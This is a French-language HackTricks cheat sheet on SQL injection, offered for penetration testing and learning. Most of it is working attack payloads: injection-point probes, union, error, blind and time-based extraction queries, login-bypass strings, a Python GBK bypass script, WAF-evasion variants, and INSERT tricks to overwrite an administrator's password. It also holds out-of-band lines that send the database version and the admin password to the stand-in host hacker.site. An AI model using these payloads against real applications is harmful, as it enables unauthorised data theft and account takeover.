SQL Injection

Reading time: 23 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu'est-ce que SQL injection ?

Une SQL injection est une faille de sĂ©curitĂ© qui permet Ă  un attaquant d'interfĂ©rer avec les requĂȘtes de base de donnĂ©es d'une application. Cette vulnĂ©rabilitĂ© peut permettre Ă  un attaquant de consulter, modifier ou supprimer des donnĂ©es auxquelles il ne devrait pas avoir accĂšs, y compris des informations d'autres utilisateurs ou toute donnĂ©e accessible par l'application. De telles actions peuvent entraĂźner des modifications permanentes du fonctionnement ou du contenu de l'application, voire la compromission du serveur ou un dĂ©ni de service.

Détection du point d'entrée

Lorsqu'un site semble ĂȘtre vulnĂ©rable Ă  SQL injection (SQLi) en raison de rĂ©ponses inhabituelles du serveur Ă  des entrĂ©es liĂ©es Ă  SQLi, la premiĂšre Ă©tape est de comprendre comment injecter des donnĂ©es dans la requĂȘte sans la perturber. Cela nĂ©cessite d'identifier la mĂ©thode permettant de s'Ă©chapper du contexte actuel efficacement. Voici quelques exemples utiles :

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Ensuite, vous devez savoir comment corriger la requĂȘte pour qu'il n'y ait pas d'erreurs. Pour corriger la requĂȘte, vous pouvez saisir des donnĂ©es afin que la requĂȘte prĂ©cĂ©dente accepte les nouvelles donnĂ©es, ou vous pouvez simplement saisir vos donnĂ©es et ajouter un symbole de commentaire Ă  la fin.

Notez que si vous pouvez voir les messages d'erreur ou repĂ©rer les diffĂ©rences entre une requĂȘte qui fonctionne et une qui ne fonctionne pas, cette phase sera plus facile.

Commentaires

sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Confirmation avec des opérations logiques

Une méthode fiable pour confirmer une vulnérabilité SQL injection consiste à exécuter une opération logique et à observer les résultats attendus. Par exemple, un paramÚtre GET tel que ?username=Peter renvoyant un contenu identique lorsqu'il est modifié en ?username=Peter' or '1'='1 indique une vulnérabilité SQL injection.

De mĂȘme, l'application d'opĂ©rations mathĂ©matiques constitue une technique de confirmation efficace. Par exemple, si l'accĂšs Ă  ?id=1 et ?id=2-1 produit le mĂȘme rĂ©sultat, cela indique une SQL injection.

Exemples démontrant la confirmation par opérations logiques :

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Cette liste de mots a été créée pour tenter de confirmer SQLinjections de la maniÚre proposée :

Vraie SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Confirmation par temporisation

Dans certains cas, vous ne remarquerez aucun changement sur la page que vous testez. Par conséquent, un bon moyen de discover blind SQL injections est de faire exécuter des actions par la DB qui auront un impact sur le temps de chargement de la page.
Nous allons donc concat dans la requĂȘte SQL une opĂ©ration qui prendra beaucoup de temps Ă  s'exĂ©cuter :

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Dans certains cas les sleep functions ne seront pas autorisĂ©es. Alors, au lieu d'utiliser ces fonctions vous pouvez faire en sorte que la requĂȘte exĂ©cute des opĂ©rations complexes qui prendront plusieurs secondes. Des exemples de ces techniques seront commentĂ©s sĂ©parĂ©ment pour chaque technologie (si applicable).

Identifier le back-end

La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonctions des différents back-ends. Vous pouvez utiliser les sleep functions de la section précédente ou celles-ci (tableau depuis payloadsallthethings:

bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

De plus, si vous avez accĂšs au rĂ©sultat de la requĂȘte, vous pouvez la faire afficher la version de la base de donnĂ©es.

tip

Dans la suite, nous allons aborder différentes méthodes pour exploiter différents types de SQL Injection. Nous utiliserons MySQL comme exemple.

Identification avec PortSwigger

SQL injection cheat sheet | Web Security Academy

Exploitation Union Based

Détection du nombre de colonnes

Si vous pouvez voir la sortie de la requĂȘte, c'est la meilleure façon de l'exploiter.
Tout d'abord, nous devons dĂ©terminer le nombre de colonnes renvoyĂ©es par la requĂȘte initiale. En effet, les deux requĂȘtes doivent renvoyer le mĂȘme nombre de colonnes.
Deux méthodes sont généralement utilisées à cet effet :

Order/Group by

Pour dĂ©terminer le nombre de colonnes d'une requĂȘte, augmentez progressivement la valeur utilisĂ©e dans les clauses ORDER BY ou GROUP BY jusqu'Ă  obtenir une rĂ©ponse erronĂ©e. Bien que GROUP BY et ORDER BY aient des fonctionnalitĂ©s distinctes en SQL, les deux peuvent ĂȘtre utilisĂ©s de la mĂȘme maniĂšre pour dĂ©terminer le nombre de colonnes renvoyĂ©es par la requĂȘte.

sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

SĂ©lectionnez de plus en plus de valeurs null jusqu'Ă  ce que la requĂȘte soit correcte :

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Vous devriez utiliser les valeurs null car dans certains cas le type des colonnes des deux cĂŽtĂ©s de la requĂȘte doit ĂȘtre le mĂȘme et null est valide dans tous les cas.

Extraire les noms de bases de données, les noms de tables et les noms de colonnes

Dans les exemples suivants, nous allons récupérer le nom de toutes les bases de données, le nom des tables d'une base de données, les noms des colonnes d'une table :

sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Il existe une façon diffĂ©rente de dĂ©couvrir ces donnĂ©es pour chaque base de donnĂ©es, mais la mĂ©thodologie reste toujours la mĂȘme.

Exploitation des Hidden Union Based

Lorsque la sortie d'une requĂȘte est visible, mais qu'une union-based injection semble irrĂ©alisable, cela signifie la prĂ©sence d'une hidden union-based injection. Ce scĂ©nario conduit souvent Ă  une situation de blind injection. Pour transformer une blind injection en une union-based, il faut dĂ©terminer la requĂȘte d'exĂ©cution cĂŽtĂ© backend.

Cela peut ĂȘtre accompli en utilisant des techniques de blind injection ainsi que les tables par dĂ©faut spĂ©cifiques Ă  votre DBMS. Pour comprendre ces tables par dĂ©faut, il est conseillĂ© de consulter la documentation du DBMS cible.

Une fois la requĂȘte extraite, il est nĂ©cessaire d'adapter votre payload pour fermer en toute sĂ©curitĂ© la requĂȘte d'origine. Ensuite, une union query est ajoutĂ©e Ă  votre payload, facilitant l'exploitation de la union-based injection nouvellement accessible.

Pour des informations plus complÚtes, référez-vous à l'article complet disponible sur Healing Blind Injections.

Exploitation Error based

Si pour une raison quelconque vous ne pouvez pas voir la sortie de la requĂȘte mais que vous pouvez voir les messages d'erreur, vous pouvez utiliser ces messages d'erreur pour ex-filtrate des donnĂ©es depuis la base de donnĂ©es.
En suivant un flux similaire Ă  l'exploitation Union Based, vous pourriez parvenir Ă  dumper le DB.

sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Exploitation de Blind SQLi

Dans ce cas vous ne pouvez pas voir les rĂ©sultats de la requĂȘte ni les erreurs, mais vous pouvez dĂ©terminer quand la requĂȘte retourne une rĂ©ponse true ou false parce que le contenu de la page est diffĂ©rent.
Dans ce cas, vous pouvez abuser de ce comportement pour dump la base de données caractÚre par caractÚre:

sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

Ceci est le mĂȘme cas que prĂ©cĂ©demment, mais au lieu de distinguer une rĂ©ponse vrai/faux de la requĂȘte, vous pouvez distinguer une erreur dans la requĂȘte SQL ou non (peut‑ĂȘtre parce que le serveur HTTP plante). Par consĂ©quent, dans ce cas vous pouvez provoquer une SQLerror chaque fois que vous devinez correctement le caractĂšre :

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiter Time Based SQLi

Dans ce cas, il n'existe aucune façon de diffĂ©rencier la rĂ©ponse de la requĂȘte selon le contexte de la page. Cependant, vous pouvez faire en sorte que la page mette plus de temps Ă  se charger si le caractĂšre devinĂ© est correct. Nous avons dĂ©jĂ  vu cette technique utilisĂ©e auparavant pour confirm a SQLi vuln.

sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Vous pouvez utiliser stacked queries pour exĂ©cuter plusieurs requĂȘtes successivement. Notez que mĂȘme si les requĂȘtes suivantes sont exĂ©cutĂ©es, les rĂ©sultats ne sont pas renvoyĂ©s Ă  l'application. Ainsi, cette technique est principalement utile pour les blind vulnerabilities, oĂč vous pouvez utiliser une seconde requĂȘte pour dĂ©clencher un DNS lookup, une erreur conditionnelle ou une temporisation.

Oracle ne prend pas en charge les stacked queries. MySQL, Microsoft et PostgreSQL les prennent en charge : QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Si aucune autre mĂ©thode d'exploitation n'a fonctionnĂ©, vous pouvez tenter de faire en sorte que la database ex-filtrate les informations vers un hĂŽte externe contrĂŽlĂ© par vous. Par exemple, via des requĂȘtes DNS :

sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Exfiltration de données hors bande via XXE

sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Exploitation automatisée

Consultez la SQLMap Cheatsheet pour exploiter une vulnérabilité SQLi avec sqlmap.

Infos spécifiques par technologie

Nous avons déjà abordé toutes les maniÚres d'exploiter une vulnérabilité SQL Injection. Trouvez d'autres astuces spécifiques à la technologie de base de données dans ce livre :

Ou vous trouverez également beaucoup d'astuces concernant : MySQL, PostgreSQL, Oracle, MSSQL, SQLite et HQL dans https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Authentication bypass

Liste à essayer pour bypasser la fonctionnalité de login :

Login bypass List

Raw hash authentication Bypass

sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Cette requĂȘte met en Ă©vidence une vulnĂ©rabilitĂ© lorsque MD5 est utilisĂ© avec true pour la sortie brute dans les vĂ©rifications d'authentification, rendant le systĂšme susceptible Ă  SQL injection. Les attaquants peuvent exploiter cela en fabriquant des entrĂ©es qui, une fois hachĂ©es, produisent des parties de commande SQL inattendues, entraĂźnant un accĂšs non autorisĂ©.

sql
md5("ffifdyop", true) = 'or'6ïżœ]ïżœïżœ!r,ïżœïżœbïżœ
sha1("3fDf ", true) = Qïżœu'='ïżœ@ïżœ[ïżœtïżœ- oïżœïżœ_-!

Injected hash authentication Bypass

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Liste recommandée:

Vous devez utiliser comme username chaque ligne de la liste et comme password toujours : Pass1234.
(Ces payloads sont aussi inclus dans la grande liste mentionnée au début de cette section)

GBK Authentication Bypass

Si ' est Ă©chappĂ© vous pouvez utiliser %A8%27, et lorsque ' est Ă©chappĂ© il sera créé : 0xA80x5c0x27 (╘')

sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Script Python :

python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modifier le mot de passe d'un objet/utilisateur existant

Pour ce faire, vous devriez essayer de créer un nouvel objet nommé comme le "master object" (probablement admin dans le cas des utilisateurs) en modifiant quelque chose :

  • CrĂ©ez un utilisateur nommĂ© : AdMIn (lettres majuscules et minuscules)
  • CrĂ©ez un utilisateur nommĂ© : admin=
  • SQL Truncation Attack (lorsqu'il y a une sorte de limite de longueur dans le nom d'utilisateur ou l'email) --> CrĂ©ez un utilisateur avec le nom : admin [a lot of spaces] a

SQL Truncation Attack

Si la base de données est vulnérable et que le nombre maximal de caractÚres pour le nom d'utilisateur est, par exemple, 30 et que vous voulez usurper l'utilisateur admin, essayez de créer un nom d'utilisateur appelé : "admin [30 spaces] a" et n'importe quel mot de passe.

La base de données va vérifier si le nom d'utilisateur introduit existe dans la base. Si non, elle va couper le nom d'utilisateur à la longueur maximale autorisée (dans ce cas à : "admin [25 spaces]") puis elle va supprimer automatiquement tous les espaces à la fin en mettant à jour dans la base de données l'utilisateur "admin" avec le nouveau mot de passe (une erreur peut apparaßtre mais cela ne signifie pas que cela n'a pas fonctionné).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note : This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Ajoutez autant de ','','' que nécessaire pour sortir de la clause VALUES. Si delay est exécuté, vous avez une SQLInjection.

sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

La clause ON DUPLICATE KEY UPDATE dans MySQL est utilisĂ©e pour spĂ©cifier les actions que la base de donnĂ©es doit effectuer lorsqu'une tentative d'insertion d'une ligne entraĂźnerait une valeur dupliquĂ©e dans un index UNIQUE ou une PRIMARY KEY. L'exemple suivant montre comment cette fonctionnalitĂ© peut ĂȘtre exploitĂ©e pour modifier le mot de passe d'un compte administrateur :

Exemple d'injection de Payload :

Un payload d'injection pourrait ĂȘtre construit comme suit, oĂč deux lignes sont tentĂ©es d'ĂȘtre insĂ©rĂ©es dans la table users. La premiĂšre ligne est un leurre, et la deuxiĂšme ligne cible l'email d'un administrateur existant dans le but de mettre Ă  jour le mot de passe :

sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Voici comment cela fonctionne :

  • La requĂȘte tente d'insĂ©rer deux lignes : une pour generic_user@example.com et une autre pour admin_generic@example.com.
  • Si la ligne pour admin_generic@example.com existe dĂ©jĂ , la clause ON DUPLICATE KEY UPDATE se dĂ©clenche, demandant Ă  MySQL de mettre Ă  jour le champ password de la ligne existante avec "bcrypt_hash_of_newpassword".
  • Par consĂ©quent, l'authentification peut ensuite ĂȘtre tentĂ©e en utilisant admin_generic@example.com avec le mot de passe correspondant au hash bcrypt ("bcrypt_hash_of_newpassword" reprĂ©sente le hash bcrypt du nouveau mot de passe, qui doit ĂȘtre remplacĂ© par le hash rĂ©el du mot de passe souhaitĂ©).

Extraire des informations

CrĂ©er 2 comptes en mĂȘme temps

Lors de la création d'un nouveau user, username, password et email sont nécessaires :

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Utiliser le décimal ou l'hexadécimal

Avec cette technique, vous pouvez extraire des informations en créant un seul compte. Il est important de noter que vous n'avez pas besoin de commenter quoi que ce soit.

En utilisant hex2dec et substr:

sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Pour obtenir le texte, vous pouvez utiliser :

python
__import__('binascii').unhexlify(hex(215573607263)[2:])

En utilisant hex et replace (et substr):

sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection est une situation oĂč la requĂȘte injectable n'est pas celle qui donne la sortie mais la sortie de la requĂȘte injectable est transmise Ă  la requĂȘte qui donne la sortie. (From Paper)

Exemple:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Bypasses initiaux depuis ici

No spaces bypass

No Space (%20) - bypass utilisant des alternatives aux espaces blancs

sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - contournement en utilisant des commentaires

sql
?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass en utilisant des parenthĂšses

sql
?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass using OFFSET, FROM and JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Bypasses génériques

Blacklist en utilisant des keywords - bypass en utilisant majuscules/minuscules

sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist de keywords insensible Ă  la casse — bypass en utilisant un opĂ©rateur Ă©quivalent

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

Vous pouvez trouver une explication plus approfondie de cette astuce dans gosecure blog.
En pratique, vous pouvez utiliser la notation scientifique de façons inattendues pour contourner le WAF :

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Contourner la restriction des noms de colonnes

Tout d'abord, remarquez que si la requĂȘte originale et la table d'oĂč vous voulez extraire le flag ont le mĂȘme nombre de colonnes vous pouvez simplement faire : 0 UNION SELECT * FROM flag

Il est possible d'accĂ©der Ă  la troisiĂšme colonne d'une table sans utiliser son nom en utilisant une requĂȘte comme la suivante : SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, donc dans une sqlinjection cela ressemblerait Ă  :

bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Ou en utilisant un comma bypass :

bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Cette astuce provient de https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

Si l'entrée utilisateur est concaténée dans la liste SELECT ou dans les identifiants de table/colonne, les prepared statements n'aideront pas car les bind parameters ne protÚgent que les values, pas les identifiers. Un pattern vulnérable courant est :

php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

IdĂ©e d'exploitation : injecter une sous-requĂȘte dans la position de champ pour exfiltrer des donnĂ©es arbitraires :

sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Remarques :

  • Cela fonctionne mĂȘme lorsque la WHERE clause utilise un bound parameter, car la liste d'identifiants est toujours concatĂ©nĂ©e en tant que chaĂźne.
  • Certaines stacks permettent en outre de contrĂŽler le nom de table (tablename injection), autorisant des lectures inter-tables.
  • Les output sinks peuvent reflĂ©ter la valeur sĂ©lectionnĂ©e dans HTML/JSON, permettant des XSS ou du token exfiltration directement depuis la rĂ©ponse.

Mesures d'atténuation :

  • Ne concatĂ©nez jamais des identifiants provenant d'entrĂ©es utilisateur. Mappez les noms de colonne autorisĂ©s vers une allow-list fixe et quotez correctement les identifiants.
  • Si un accĂšs dynamique aux tables est nĂ©cessaire, restreignez-le Ă  un ensemble fini et rĂ©solvez cĂŽtĂ© serveur Ă  partir d'un mapping sĂ»r.

WAF bypass suggester tools

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

Autres guides

Brute-Force Detection List

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks